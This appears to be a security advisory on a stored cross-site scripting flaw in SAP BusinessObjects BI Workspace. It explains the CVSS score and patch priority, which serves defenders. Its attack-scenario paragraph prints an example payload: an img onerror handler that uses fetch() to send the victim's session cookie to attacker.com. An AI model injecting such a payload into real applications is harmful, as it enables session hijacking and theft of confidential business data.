Businessobjects Business Intelligence EUVD-2025-17607

The CVSS 3.1 vector (CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:L/A:L) indicates: Network-accessible attack surface (AV:N), low attack complexity (AC:L), requires authenticated attacker privilege (PR:L), requires user interaction (UI:R), and has changed scope (S:C) with High confidentiality impact (C:H), Low integrity and availability impacts (I:L/A:L). The PR:L requirement is notable—the attacker must have some level of authenticated access to inject the payload initially, which reduces the threat surface compared to purely unauthenticated injection. However, the persistence (stored XSS) and cross-scope impact elevate risk: once injected, any user accessing the workspace becomes a victim without requiring further attacker action. The UI:R (user interaction required) is inherent to XSS but does not significantly reduce risk in this context since workspace access is a normal business function. Real-world priority is moderate-to-high for organizations using SAP BusinessObjects BI Workspace, particularly those handling sensitive financial, HR, or operational data accessible via BI dashboards. Without confirmed EPSS data or active KEV exploitation intelligence, assume this represents a credible but not yet weaponized threat that SOC teams should prioritize for patch testing in development environments before production deployment.

An authenticated SAP BusinessObjects analyst (or attacker with compromised credentials) creates a dashboard or report workspace containing malicious JavaScript payload embedded in a field description, custom HTML component, or formula. The payload, for example, could be: <img src=x onerror="fetch('https://attacker.com/steal?cookie='+document.cookie)">. When a senior executive or finance manager accesses this workspace to review reports, the JavaScript executes automatically in their browser. The attacker's server receives the victim's session cookie, authentication token, or other sensitive data. The attacker can then replay the session token to impersonate the victim, access financial reports, export confidential data, or modify BI configurations. Because the workspace is stored in the BI system database, every employee who opens that workspace becomes a victim, creating a mass exploitation scenario. The attack is particularly effective in enterprise environments where BI systems are central to business decision-making and many users regularly access shared workspaces.